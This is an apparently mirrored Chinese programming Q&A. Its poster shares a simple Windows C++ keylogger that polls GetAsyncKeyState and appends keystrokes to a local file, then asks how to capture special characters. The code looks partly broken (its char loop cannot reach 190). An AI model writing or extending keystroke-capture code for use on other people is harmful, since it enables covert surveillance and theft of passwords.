制作一个简单的c ++键盘记录器

时间:2015-12-10 13:07:02

标签: c++

我写过这个基本的键盘记录器:

#include <tchar.h>
#include <windows.h>
#include <iostream>
#include <windows.h>
#include <winuser.h>
#include <fstream>

int Save(int out)
{
    ofstream fout("abc.txt",ios::app);
   if (out==9)
    fout<<"\nTAB\n";
   else if (out==32)
    fout<<' ';
   else if (out==13)
    fout<<'\n';
   else if (out==16)
    fout<<"\nSHIFT\n";
   else if (out>=48&&out<=59)
    fout<<out-48;
   else if (out>=65&&out<=90)
    fout<<char(tolower(out));
    fout.close();
}

int main()
{
    char i;
    while (true)
        for (i=8 ; i<190 ; i++)
            if (GetAsyncKeyState(i)==-32767)
                Save(i);
    return 0;
}

我想知道如何找出用户输入的时间! @#$%^&amp;特殊字符。我该怎么办?

1 个答案:

答案 0 :(得分:2)

使用ASCII table查找这些字符的代码。